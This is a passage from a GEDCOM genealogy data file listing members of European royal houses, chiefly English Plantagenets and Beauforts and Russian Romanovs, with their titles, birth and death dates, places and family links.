+1 SEX M
+1 BIRT
+2 DATE 13 NOV 1312
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE 21 JUN 1377
+2 PLAC Sheen Palace
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F451@
+1 FAMC @F92@
+0 @I1230@ INDI
+1 NAME Philippa of_Hainault //
+1 SEX F
+1 BIRT
+2 DATE 24 JUN 1311
+2 PLAC Valenciennes
+1 DEAT
+2 DATE 14 AUG 1369
+2 PLAC Windsor Castle,Windsor,Berkshire,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F451@
+1 FAMC @F900@
+0 @I1231@ INDI
+1 NAME Edward  //
+1 TITL Prince of Wales
+1 SEX M
+1 BIRT
+2 DATE 15 JUN 1330
+2 PLAC Woodstock,Oxfordshire,England
+1 DEAT
+2 DATE  8 JUN 1376
+2 PLAC Westminster,Palace,London,England
+1 BURI
+2 PLAC Canterbury,Cathedral,London,England
+1 FAMS @F513@
+1 FAMC @F451@
+0 @I1232@ INDI
+1 NAME Isabella  //
+1 SEX F
+1 BIRT
+2 DATE 16 JUN 1332
+2 PLAC Woodstock
+1 DEAT
+2 DATE BEF    OCT 1382
+2 PLAC London
+1 FAMS @F516@
+1 FAMC @F451@
+0 @I1233@ INDI
+1 NAME Joan (Joanna) //
+1 SEX F
+1 BIRT
+2 DATE ABT    FEB 1335
+2 PLAC Woodstock
+1 DEAT
+2 DATE  2 SEP 1348
+2 PLAC Bayonne
+1 FAMC @F451@
+0 @I1234@ INDI
+1 NAME William of_Hatfield //
+1 SEX M
+1 BIRT
+2 DATE BEF 16 FEB 1337
+2 PLAC Hatfield Herts
+1 DEAT
+2 DATE BEF  8 JUL 1337
+1 FAMC @F451@
+0 @I1235@ INDI
+1 NAME Lionel of_Antwerp //
+1 TITL Duke of Clarence
+1 SEX M
+1 BIRT
+2 DATE 29 NOV 1338
+2 PLAC Antwerp,Belgium
+1 DEAT
+2 DATE 10 DEC 1363
+2 PLAC Dublin,Ireland
+1 FAMS @F519@
+1 FAMS @F493@
+1 FAMC @F451@
+0 @I1236@ INDI
+1 NAME John of_Gaunt //
+1 TITL Duke of Lancast.
+1 SEX M
+1 BIRT
+2 DATE    MAR 1340
+2 PLAC Ghent
+1 DEAT
+2 DATE  3 FEB 1399
+2 PLAC Leicester Castle
+1 FAMS @F452@
+1 FAMS @F517@
+1 FAMS @F485@
+1 FAMC @F451@
+0 @I1237@ INDI
+1 NAME Edmund of_Langley //
+1 TITL Duke of York
+1 SEX M
+1 BIRT
+2 DATE  5 JUN 1341
+2 PLAC Kings Langley,Herts
+1 DEAT
+2 DATE  1 AUG 1402
+2 PLAC Kings Langley,Herts
+1 FAMS @F488@
+1 FAMS @F534@
+1 FAMC @F451@
+0 @I1238@ INDI
+1 NAME Blanche  //
+1 SEX F
+1 BIRT
+2 DATE    MAR 1342
+2 PLAC Tower of London
+1 DEAT
+2 DATE    MAR 1342
+2 PLAC Tower of London
+1 FAMC @F451@
+0 @I1239@ INDI
+1 NAME Mary  //
+1 SEX F
+1 BIRT
+2 DATE 10 OCT 1344
+2 PLAC Waltham,Near Winchester
+1 DEAT
+2 DATE        1361/1362
+1 FAMS @F612@
+1 FAMC @F451@
+0 @I1240@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 BIRT
+2 DATE 20 JUL 1346
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE AFT  1 OCT 1361
+1 FAMS @F518@
+1 FAMC @F451@
+0 @I1241@ INDI
+1 NAME William of_Windsor //
+1 SEX M
+1 BIRT
+2 DATE 24 JUN 1348
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE    SEP 1348
+1 FAMC @F451@
+0 @I1242@ INDI
+1 NAME Thomas of_Woodstock //
+1 TITL Duke of Glouces.
+1 SEX M
+1 BIRT
+2 DATE  7 JAN 1355
+2 PLAC Woodstock
+1 DEAT
+2 DATE 15 SEP 1396/1397
+2 PLAC Calais
+1 FAMS @F491@
+1 FAMC @F451@
+0 @I1243@ INDI
+1 NAME Blanche of_Lancaster //
+1 SEX F
+1 BIRT
+2 DATE        1341
+1 DEAT
+2 DATE 12 SEP 1369
+2 PLAC Bolingbroke,Castle
+1 FAMS @F452@
+1 FAMC @F560@
+0 @I1244@ INDI
+1 NAME Isabella_II  //
+1 TITL Queen of Spain
+1 SEX F
+1 BIRT
+2 DATE        1830
+2 PLAC Madrid,Spain
+1 DEAT
+2 DATE        1904
+1 FAMS @F453@
+1 FAMC @F454@
+0 @I1245@ INDI
+1 NAME Don_Francisco  /de_Asis/
+1 SEX M
+1 BIRT
+2 DATE        1822
+1 DEAT
+2 DATE        1902
+1 FAMS @F453@
+0 @I1246@ INDI
+1 NAME Ferdinand_VII  //
+1 TITL King of Spain
+1 SEX M
+1 BIRT
+2 DATE        1784
+1 DEAT
+2 DATE        1833
+1 FAMS @F1345@
+1 FAMS @F1346@
+1 FAMS @F1347@
+1 FAMS @F454@
+1 FAMC @F1348@
+0 @I1247@ INDI
+1 NAME Mary  /Stuart/
+1 TITL Queen of Scots
+1 SEX F
+1 BIRT
+2 DATE  7 DEC 1542
+2 PLAC Linlithgow,Scotland
+1 DEAT
+2 DATE  8 FEB 1587
+2 PLAC ,England
+1 FAMS @F456@
+1 FAMS @F455@
+1 FAMS @F457@
+1 FAMC @F459@
+0 @I1248@ INDI
+1 NAME Francis_II  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 19 JAN 1544
+2 PLAC Fontainebleau,France
+1 DEAT
+2 DATE  5 DEC 1560
+2 PLAC Orleans,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F456@
+1 FAMC @F1148@
+0 @I1249@ INDI
+1 NAME Henry  /Stuart/
+1 TITL Lord Darnley
+1 SEX M
+1 BIRT
+2 DATE        1545
+1 DEAT
+2 DATE        1567
+1 FAMS @F455@
+1 FAMC @F528@
+0 @I1250@ INDI
+1 NAME James  /Hepburn/
+1 TITL Earl Bothwell-4
+1 SEX M
+1 DEAT
+2 DATE        1576
+1 FAMS @F457@
+0 @I1251@ INDI
+1 NAME Mary of_Guise //
+1 SEX F
+1 BIRT
+2 DATE        1515
+1 DEAT
+2 DATE        1560
+1 FAMS @F459@
+1 FAMC @F727@
+0 @I1252@ INDI
+1 NAME James_III  //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1451
+2 PLAC Stirling,Scotland
+1 DEAT
+2 DATE        1488
+1 FAMS @F460@
+1 FAMC @F547@
+0 @I1253@ INDI
+1 NAME Richard de_Burgh //
+1 TITL Earl of Ulster
+1 SEX M
+1 FAMS @F548@
+0 @I1254@ INDI
+1 NAME Edmund  /Tudor/
+1 TITL Earl of Richmond
+1 SEX M
+1 BIRT
+2 DATE ABT    1430
+1 DEAT
+2 DATE        1456
+1 FAMS @F461@
+1 FAMC @F497@
+0 @I1255@ INDI
+1 NAME Margaret of_Richmond /Beaufort/
+1 TITL Countess
+1 SEX F
+1 DEAT
+2 DATE        1509
+1 FAMS @F461@
+1 FAMS @F495@
+1 FAMS @F496@
+1 FAMC @F487@
+0 @I1256@ INDI
+1 NAME John of_Eltham //
+1 TITL Earl of Cornwall
+1 SEX M
+1 BIRT
+2 DATE ABT 15 AUG 1316
+2 PLAC Eltham Palace,Kent
+1 DEAT
+2 DATE 14 SEP 1336
+2 PLAC Perth
+1 FAMC @F92@
+0 @I1257@ INDI
+1 NAME Eleanor  //
+1 SEX F
+1 BIRT
+2 DATE 18 JUN 1318
+2 PLAC Woodstock
+1 DEAT
+2 DATE 22 APR 1355
+2 PLAC Deventer
+1 FAMS @F463@
+1 FAMC @F92@
+0 @I1258@ INDI
+1 NAME Joan of_the_Tower //
+1 SEX F
+1 BIRT
+2 DATE  5 JUL 1321
+2 PLAC Tower of London,London,England
+1 DEAT
+2 DATE  7 SEP 1362
+2 PLAC Hertford
+1 FAMS @F540@
+1 FAMC @F92@
+0 @I1259@ INDI
+1 NAME Rainald_II of_Gueldres //
+1 TITL Duke
+1 SEX M
+1 FAMS @F463@
+0 @I1260@ INDI
+1 NAME Charles of_Orleans //
+1 TITL Duke of Orleans
+1 SEX M
+1 BIRT
+2 DATE        1391
+1 DEAT
+2 DATE        1465
+1 FAMS @F462@
+0 @I1261@ INDI
+1 NAME Edward_I (Longshanks) //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 17 JUN 1239
+2 PLAC Westminster,Palace,London,England
+1 DEAT
+2 DATE  7 JUL 1307
+2 PLAC Near Carlisle
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F464@
+1 FAMS @F465@
+1 FAMC @F466@
+0 @I1262@ INDI
+1 NAME Eleanor of_Castile //
+1 SEX F
+1 BIRT
+2 DATE ABT    1244
+2 PLAC Castile
+1 DEAT
+2 DATE 24 NOV 1290
+2 PLAC Herdeby,Near Grantham,Lincolnshire
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F464@
+1 FAMC @F693@
+0 @I1263@ INDI
+1 NAME Eleanor  //
+1 SEX F
+1 BIRT
+2 DATE 17 JUN 1264
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE 12 OCT 1297
+2 PLAC Ghent
+1 FAMC @F464@
+0 @I1264@ INDI
+1 NAME Joan  //
+1 SEX F
+1 BIRT
+2 DATE        1265
+1 DEAT
+2 DATE        1265
+1 FAMC @F464@
+0 @I1265@ INDI
+1 NAME John  //
+1 SEX M
+1 BIRT
+2 DATE 10 JUL 1266
+2 PLAC Windsor,Berkshire,England
+1 DEAT
+2 DATE  3 AUG 1271
+2 PLAC Westminster,London,England
+1 FAMC @F464@
+0 @I1266@ INDI
+1 NAME Henry  //
+1 SEX M
+1 BIRT
+2 DATE 13 JUL 1267
+2 PLAC Windsor,Berkshire,England
+1 DEAT
+2 DATE 14 OCT 1274
+2 PLAC Merton,Surrey
+1 FAMC @F464@
+0 @I1267@ INDI
+1 NAME Julian (Katherine) //
+1 SEX F
+1 BIRT
+2 DATE        1271
+2 PLAC Holy Land
+1 DEAT
+2 DATE        1271
+2 PLAC Holy Land
+1 FAMC @F464@
+0 @I1268@ INDI
+1 NAME Joan of_Acre //
+1 SEX F
+1 BIRT
+2 DATE        1272
+2 PLAC Acre,Palestine
+1 DEAT
+2 DATE 23 APR 1307
+2 PLAC Clare,Suffolk,England
+1 FAMS @F606@
+1 FAMS @F607@
+1 FAMC @F464@
+0 @I1269@ INDI
+1 NAME Alfonso  //
+1 TITL Earl of Chester
+1 SEX M
+1 BIRT
+2 DATE 24 NOV 1273
+2 PLAC Bordeaux
+1 DEAT
+2 DATE 19 AUG 1284
+2 PLAC Windsor Castle,Berkshire,England
+1 FAMC @F464@
+0 @I1270@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 BIRT
+2 DATE 11 SEP 1275
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE        1318
+2 PLAC Brussels
+1 FAMS @F608@
+1 FAMC @F464@
+0 @I1271@ INDI
+1 NAME Berengaria  //
+1 SEX F
+1 BIRT
+2 DATE        1276
+2 PLAC Kennington
+1 DEAT
+2 DATE ABT    1279
+1 FAMC @F464@
+0 @I1272@ INDI
+1 NAME Mary  //
+1 SEX F
+1 BIRT
+2 DATE 11 MAR 1278
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE BEF  8 JUL 1332
+2 PLAC Amesbury
+1 FAMC @F464@
+0 @I1273@ INDI
+1 NAME Alice  //
+1 SEX F
+1 BIRT
+2 DATE 12 MAR 1279
+2 PLAC Woodstock
+1 DEAT
+2 DATE        1291
+1 FAMC @F464@
+0 @I1274@ INDI
+1 NAME Elizabeth  //
+1 SEX F
+1 BIRT
+2 DATE    AUG 1282
+2 PLAC Rhuddlan Castle
+1 DEAT
+2 DATE  5 MAY 1316
+1 FAMS @F609@
+1 FAMS @F610@
+1 FAMC @F464@
+0 @I1275@ INDI
+1 NAME Beatrice  //
+1 SEX F
+1 BIRT
+2 DATE ABT    1286
+2 PLAC Aquitaine
+1 FAMC @F464@
+0 @I1276@ INDI
+1 NAME Blanche  //
+1 SEX F
+1 BIRT
+2 DATE        1290
+1 DEAT
+2 DATE        1290
+1 FAMC @F464@
+0 @I1277@ INDI
+1 NAME Marguerite of_France //
+1 SEX F
+1 BIRT
+2 DATE        1279
+2 PLAC Paris
+1 DEAT
+2 DATE 14 FEB 1317
+2 PLAC Marlborough,Castle
+1 BURI
+2 PLAC Grey Friars,Church,London,England
+1 FAMS @F465@
+1 FAMC @F688@
+0 @I1278@ INDI
+1 NAME Thomas of_Brotherton //
+1 TITL Earl of Norfolk
+1 SEX M
+1 BIRT
+2 DATE  1 JUN 1300
+2 PLAC Brotherton,Yorkshire,England
+1 DEAT
+2 DATE    AUG 1338
+1 FAMS @F562@
+1 FAMS @F611@
+1 FAMC @F465@
+0 @I1279@ INDI
+1 NAME Edmund of_Woodstock //
+1 TITL Earl of Kent
+1 SEX M
+1 BIRT
+2 DATE  5 AUG 1301
+2 PLAC Woodstock
+1 DEAT
+2 DATE 19 MAR 1330
+2 PLAC Winchester
+1 FAMS @F564@
+1 FAMC @F465@
+0 @I1280@ INDI
+1 NAME Eleanor  //
+1 SEX F
+1 BIRT
+2 DATE  4 MAY 1306
+2 PLAC Winchester
+1 DEAT
+2 DATE        1311
+2 PLAC Amesbury
+1 FAMC @F465@
+0 @I1281@ INDI
+1 NAME Henry_III  //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE  1 OCT 1207
+2 PLAC Winchester,Castle
+1 DEAT
+2 DATE 16 NOV 1272
+2 PLAC Westminster,Palace,London,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F466@
+1 FAMC @F503@
+0 @I1282@ INDI
+1 NAME Eleanor of_Provence //
+1 SEX F
+1 BIRT
+2 DATE ABT    1217
+2 PLAC Aix-en-Provence
+1 DEAT
+2 DATE 24 JUN 1291
+2 PLAC Amesbury,Wiltshire
+1 BURI
+2 PLAC Convent Church,Amesbury
+1 FAMS @F466@
+1 FAMC @F777@
+0 @I1283@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 BIRT
+2 DATE 29 SEP 1240
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE 26 FEB 1275
+2 PLAC Cupar Castle,Fife
+1 FAMS @F603@
+1 FAMC @F466@
+0 @I1284@ INDI
+1 NAME Beatrice  //
+1 SEX F
+1 BIRT
+2 DATE 25 JUN 1242
+2 PLAC Bordeaux
+1 DEAT
+2 DATE 24 MAR 1275
+2 PLAC London,England
+1 FAMS @F604@
+1 FAMC @F466@
+0 @I1285@ INDI
+1 NAME Edmund Crouchback of_Leicester//
+1 TITL Earl
+1 SEX M
+1 BIRT
+2 DATE 16 JAN 1245
+2 PLAC London,England
+1 DEAT
+2 DATE  5 JUN 1296
+2 PLAC Bayonne
+1 FAMS @F605@
+1 FAMS @F558@
+1 FAMC @F466@
+0 @I1286@ INDI
+1 NAME Richard  //
+1 SEX M
+1 BIRT
+2 DATE ABT    1247
+1 DEAT
+2 DATE BEF    1256
+1 FAMC @F466@
+0 @I1287@ INDI
+1 NAME John  //
+1 SEX M
+1 BIRT
+2 DATE ABT    1250
+1 DEAT
+2 DATE BEF    1256
+1 FAMC @F466@
+0 @I1288@ INDI
+1 NAME Katherine  //
+1 SEX F
+1 BIRT
+2 DATE 25 NOV 1253
+2 PLAC Westminster
+1 DEAT
+2 DATE  3 MAY 1257
+2 PLAC Windsor Castle,Berkshire,England
+1 FAMC @F466@
+0 @I1289@ INDI
+1 NAME William  //
+1 SEX M
+1 BIRT
+2 DATE ABT    1256
+1 DEAT
+2 DATE ABT    1256
+1 FAMC @F466@
+0 @I1290@ INDI
+1 NAME Henry  //
+1 SEX M
+1 BIRT
+2 DATE AFT    1256
+1 DEAT
+2 DATE ABT    1257
+1 FAMC @F466@
+0 @I1291@ INDI
+1 NAME John  /Spencer/
+1 TITL Hon.
+1 SEX M
+1 BIRT
+2 DATE        1734
+1 DEAT
+2 DATE        1783
+1 FAMS @F467@
+1 FAMC @F685@
+0 @I1292@ INDI
+1 NAME Georgiana  /Carteret/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1780
+1 FAMS @F467@
+0 @I1293@ INDI
+1 NAME Henrietta  //
+1 SEX F
+1 BIRT
+2 DATE 28 FEB 1792
+2 PLAC Maastricht
+1 DEAT
+2 DATE 26 OCT 1864
+2 PLAC Schloss Rahr,Near Aachen
+1 FAMS @F468@
+0 @I1294@ INDI
+1 NAME Paul_I  /Romanov/
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE        1754
+1 DEAT
+2 DATE        1801
+1 FAMS @F469@
+1 FAMC @F471@
+0 @I1295@ INDI
+1 NAME Maria Feodorovna of_Wurttemberg//
+1 SEX F
+1 BIRT
+2 DATE        1759
+1 DEAT
+2 DATE        1828
+1 FAMS @F469@
+1 FAMC @F1274@
+0 @I1296@ INDI
+1 NAME Alexander_I  /Romanov/
+1 TITL Tsar of Russia
+1 SEX M
+1 BIRT
+2 DATE        1777
+1 DEAT
+2 DATE        1825
+1 FAMS @F470@
+1 FAMC @F469@
+0 @I1297@ INDI
+1 NAME Yelizaveta Alekseyevna of_Baden//
+1 SEX F
+1 FAMS @F470@
+0 @I1298@ INDI
+1 NAME Konstantin  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1779
+1 FAMC @F470@
+0 @I1299@ INDI
+1 NAME Catherine_II the_Great //
+1 TITL Empress
+1 SEX F
+1 BIRT
+2 DATE  2 MAY 1729
+2 PLAC Szczecin,Poland
+1 DEAT
+2 DATE 17 NOV 1796
+2 PLAC St. Petersburg,Russia
+1 FAMS @F471@
+1 FAMC @F1275@
+0 @I1300@ INDI
+1 NAME Peter_III  /Romanov/
+1 TITL Emperor Russia
+1 SEX M
+1 BIRT
+2 DATE        1728
+2 PLAC Kiel,Germany
+1 DEAT
+2 DATE 17 JUL 1762
+1 FAMS @F471@
+1 FAMC @F473@
+0 @I1301@ INDI
+1 NAME Peter_I the_Great /Romanov/
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE        1672
+1 DEAT
+2 DATE        1725
+1 FAMS @F472@
+1 FAMS @F474@
+1 FAMC @F478@
+0 @I1302@ INDI
+1 NAME Catherine_I  //
+1 TITL Empress
+1 SEX F
+1 BIRT
+2 DATE        1683
+2 PLAC Jakobstadt,Latvia
+1 DEAT
+2 DATE        1727
+1 FAMS @F472@
+0 @I1303@ INDI
+1 NAME Anna Petrovna /Romanov/
+1 SEX F
+1 BIRT
+2 DATE        1708
+1 DEAT
+2 DATE        1728
+1 FAMS @F473@
+1 FAMC @F472@
+0 @I1304@ INDI
+1 NAME Elizabeth Petrovna /Romanov/
+1 TITL Empress
+1 SEX F
+1 BIRT
+2 DATE        1709
+2 PLAC Near Moscow,Russia
+1 DEAT
+2 DATE        1761/1762
+1 FAMC @F472@
+0 @I1305@ INDI
+1 NAME Yevdokiya Lopukhina //
+1 SEX F
+1 FAMS @F474@
+0 @I1306@ INDI
+1 NAME Alexis  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1690
+1 DEAT
+2 DATE        1718
+1 FAMS @F475@
+1 FAMC @F474@
+0 @I1307@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F475@
+0 @I1308@ INDI
+1 NAME Peter_II  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1715
+1 DEAT
+2 DATE        1730
+1 FAMC @F475@
+0 @I1309@ INDI
+1 NAME Alexis_I Michaylovich /Romanov/
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE        1629
+1 DEAT
+2 DATE        1675/1676
+1 FAMS @F476@
+1 FAMS @F478@
+1 FAMC @F477@
+0 @I1310@ INDI
+1 NAME Maria Miroslavkaya //
+1 SEX F
+1 DEAT
+2 DATE        1668
+1 FAMS @F476@
+0 @I1311@ INDI
+1 NAME Feodor_III (Theodore) /Romanov/
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE        1662
+1 DEAT
+2 DATE        1682
+1 FAMS @F479@
+1 FAMC @F476@
+0 @I1312@ INDI
+1 NAME Mikhail_III Feodorovich /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1597
+1 DEAT
+2 DATE        1645
+1 FAMS @F477@
+1 FAMC @F1261@
+0 @I1313@ INDI
+1 NAME Eudoxia  /Streshniev/
+1 SEX F
+1 BIRT
+2 DATE        1608
+1 DEAT
+2 DATE        1645
+1 FAMS @F477@
+1 FAMC @F1260@
+0 @I1314@ INDI
+1 NAME Natalia Narishkina //
+1 SEX F
+1 BIRT
+2 DATE        1651
+1 DEAT
+2 DATE        1694
+1 FAMS @F478@
+1 FAMC @F483@
+0 @I1315@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F479@
+0 @I1316@ INDI
+1 NAME Ivan_V  /Romanov/
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE        1666
+1 DEAT
+2 DATE        1696
+1 FAMS @F480@
+1 FAMC @F479@
+0 @I1317@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F480@
+0 @I1318@ INDI
+1 NAME Anna Ioannovna /Romanov/
+1 TITL Empress
+1 SEX F
+1 BIRT
+2 DATE        1693
+1 DEAT
+2 DATE        1740
+1 FAMC @F480@
+0 @I1319@ INDI
+1 NAME Yekaterina of_Mecklenburg //
+1 SEX F
+1 FAMS @F481@
+1 FAMC @F480@
+0 @I1320@ INDI
+1 NAME Unknown  //
+1 SEX M
+1 FAMS @F481@
+0 @I1321@ INDI
+1 NAME Anna Leopoldovna of_Brunswick//
+1 SEX F
+1 FAMS @F482@
+1 FAMC @F481@
+0 @I1322@ INDI
+1 NAME Unknown  //
+1 SEX M
+1 FAMS @F482@
+0 @I1323@ INDI
+1 NAME Ivan_VI  /Romanov/
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE        1740
+1 DEAT
+2 DATE        1741
+1 FAMC @F482@
+0 @I1324@ INDI
+1 NAME Ivan  /Romanov/
+1 SEX M
+1 FAMC @F476@
+0 @I1325@ INDI
+1 NAME Sophia  /Romanov/
+1 SEX F
+1 BIRT
+2 DATE ABT    1657
+1 FAMC @F476@
+0 @I1326@ INDI
+1 NAME Cyril  /Naryshkin/
+1 SEX M
+1 BIRT
+2 DATE        1623
+1 DEAT
+2 DATE        1691
+1 FAMS @F483@
+0 @I1327@ INDI
+1 NAME Jacquetta of_Luxembourg //
+1 SEX F
+1 FAMS @F484@
+1 FAMS @F1051@
+1 FAMC @F1050@
+0 @I1328@ INDI
+1 NAME Catherine Swynford /Roet/
+1 SEX F
+1 BIRT
+2 DATE        1350
+1 DEAT
+2 DATE 10 MAY 1403
+2 PLAC Lincoln
+1 FAMS @F907@
+1 FAMS @F485@
+1 FAMC @F906@
+0 @I1329@ INDI
+1 NAME John Beaufort //
+1 TITL Earl Sommerset
+1 SEX M
+1 DEAT
+2 DATE        1410
+1 FAMS @F486@
+1 FAMS @F736@
+1 FAMC @F485@
+0 @I1330@ INDI
+1 NAME Henry Beaufort //
+1 TITL Cardinal
+1 SEX M
+1 DEAT
+2 DATE        1447
+1 FAMC @F485@
+0 @I1331@ INDI
+1 NAME Joan Beaufort //
+1 SEX F
+1 FAMS @F916@
+1 FAMS @F372@
+1 FAMC @F485@
+0 @I1332@ INDI
+1 NAME Humphrey  /De_Bohun/
+1 TITL Earl of Hereford
+1 SEX M
+1 FAMS @F914@
+0 @I1333@ INDI
+1 NAME Henry  /Beaufort/
+1 TITL Earl Sommerset
+1 SEX M
+1 BIRT
+2 DATE        1401
+1 DEAT
+2 DATE        1418
+1 FAMC @F486@
+0 @I1334@ INDI
+1 NAME John  /Beaufort/
+1 TITL Duke Sommerset
+1 SEX M
+1 BIRT
+2 DATE        1403
+1 DEAT
+2 DATE        1444
+1 FAMS @F487@
+1 FAMC @F486@
+0 @I1335@ INDI
+1 NAME Edmund  /Beaufort/
+1 TITL Duke Sommerset
+1 SEX M
+1 DEAT
+2 DATE        1455
+1 FAMS @F920@
+1 FAMC @F486@
+0 @I1336@ INDI
+1 NAME Margaret  /Beauchamp/
+1 SEX F
+1 FAMS @F487@
+0 @I1337@ INDI
+1 NAME Isabella of_Castile //
+1 SEX F
+1 DEAT
+2 DATE 23 NOV 1393
+1 FAMS @F488@
+1 FAMC @F908@
+0 @I1338@ INDI
+1 NAME Edward  //
+1 TITL Duke of York
+1 SEX M
+1 DEAT
+2 DATE        1415
+2 PLAC Agincourt
+1 FAMS @F1072@
+1 FAMC @F488@
+0 @I1339@ INDI
+1 NAME Anne  /Beauchamp/
+1 TITL Lady
+1 SEX F
+1 FAMS @F370@
+0 @I1340@ INDI
+1 NAME Isabel  /Nevill/
+1 TITL Lady
+1 SEX F
+1 FAMS @F381@
+1 FAMC @F370@
+0 @I1341@ INDI
+1 NAME Louis_XIV  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE  5 SEP 1638
+2 PLAC St Germain-en-,Laye,France
+1 DEAT
+2 DATE  1 SEP 1715
+2 PLAC Versailles,France
+1 BURI
+2 PLAC St Denis,France
+1 FAMS @F523@
+1 FAMS @F524@
+1 FAMC @F521@
+0 @I1342@ INDI
+1 NAME Richard  /Nevill/
+1 TITL Earl Salisbury
+1 SEX M
+1 DEAT
+2 DATE        1460
+1 FAMS @F490@
+1 FAMC @F372@
+0 @I1343@ INDI
+1 NAME Eleanor  /De_Bohun/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE  3 OCT 1399
+2 PLAC Barking Abbey,Essex,England
+1 FAMS @F491@
+1 FAMC @F912@
+0 @I1344@ INDI
+1 NAME Roger  /Mortimer/
+1 TITL Earl of March IV
+1 SEX M
+1 DEAT
+2 DATE        1398
+2 PLAC ,,,Ireland
+1 FAMS @F492@
+1 FAMC @F494@
+0 @I1345@ INDI
+1 NAME Eleanor  /Holland/
+1 SEX F
+1 DEAT
+2 DATE        1405
+1 FAMS @F492@
+1 FAMS @F1058@
+1 FAMC @F1057@
+0 @I1346@ INDI
+1 NAME Edmund  /Mortimer/
+1 TITL Earl of March
+1 SEX M
+1 DEAT
+2 DATE        1425
+1 FAMS @F536@
+1 FAMC @F492@
+0 @I1347@ INDI
+1 NAME Violante of_Milan /Visconti/
+1 SEX F
+1 DEAT
+2 DATE        1404
+1 FAMS @F493@
+1 FAMS @F904@
+1 FAMC @F903@
+0 @I1348@ INDI
+1 NAME Philippa of_Ulster //
+1 TITL Countess
+1 SEX F
+1 DEAT
+2 DATE        1382
+1 FAMS @F494@
+1 FAMC @F519@
+0 @I1349@ INDI
+1 NAME Edmund  /Mortimer/
+1 TITL Earl of March 3d
+1 SEX M
+1 DEAT
+2 DATE        1381
+1 FAMS @F494@
+1 FAMC @F795@
+0 @I1350@ INDI
+1 NAME Henry  /Stafford/
+1 TITL Sir
+1 SEX M
+1 DEAT
+2 DATE        1481
+1 FAMS @F495@
+0 @I1351@ INDI
+1 NAME Thomas  /Stanley/
+1 TITL Lord
+1 SEX M
+1 DEAT
+2 DATE        1504
+1 FAMS @F496@
+0 @I1352@ INDI
+1 NAME Owen  /Tudor/
+1 SEX M
+1 DEAT
+2 DATE        1461
+1 FAMS @F497@
+1 FAMC @F976@
+0 @I1353@ INDI
+1 NAME Jasper  /Tudor/
+1 TITL Earl of Pembroke
+1 SEX M
+1 DEAT
+2 DATE        1495/1496
+1 FAMS @F537@
+1 FAMC @F497@
+0 @I1354@ INDI
+1 NAME Natalia  /Sheremetevskaya/
+1 SEX F
+1 BIRT
+2 DATE        1880
+1 DEAT
+2 DATE        1952
+1 FAMS @F498@
+0 @I1355@ INDI
+1 NAME Maria Pavlovna /Romanov/
+1 SEX F
+1 BIRT
+2 DATE        1890
+1 DEAT
+2 DATE        1958
+1 FAMS @F512@
+1 FAMC @F50@
+0 @I1356@ INDI
+1 NAME Olga  /Karnovich/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1866
+1 DEAT
+2 DATE        1929
+1 FAMS @F499@
+1 FAMC @F1382@
+0 @I1357@ INDI
+1 NAME Vladimir  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1896
+1 DEAT
+2 DATE        1918
+1 FAMC @F499@
+0 @I1358@ INDI
+1 NAME Natalie  /Romanov/
+1 SEX F
+1 BIRT
+2 DATE        1905
+1 FAMC @F499@
+0 @I1359@ INDI
+1 NAME Irina  /Romanov/
+1 SEX F
+1 BIRT
+2 DATE        1908
+1 FAMC @F499@
+0 @I1360@ INDI
+1 NAME George  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1910
+1 DEAT
+2 DATE        1931
+1 FAMC @F498@
+0 @I1361@ INDI
+1 NAME Peter of_Oldenburg //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1868
+1 DEAT
+2 DATE        1924
+1 FAMS @F500@
+0 @I1362@ INDI
+1 NAME Helen Vladimirovna of_Russia/Romanov/
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE        1882
+1 DEAT
+2 DATE        1957
+1 FAMS @F76@
+1 FAMC @F47@
+0 @I1363@ INDI
+1 NAME Charles of_Brunswick- Wolfenbuttel//
+1 TITL Duke
+1 SEX M
+1 FAMS @F501@
+0 @I1364@ INDI
+1 NAME John Lackland //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 24 DEC 1167
+2 PLAC Beaumont Palace,Oxford,England
+1 DEAT
+2 DATE 19 OCT 1216
+2 PLAC Newark Castle,Newark,Nottinghamshire,England
+1 BURI
+2 PLAC Worcester,Cathedral
+1 FAMS @F502@
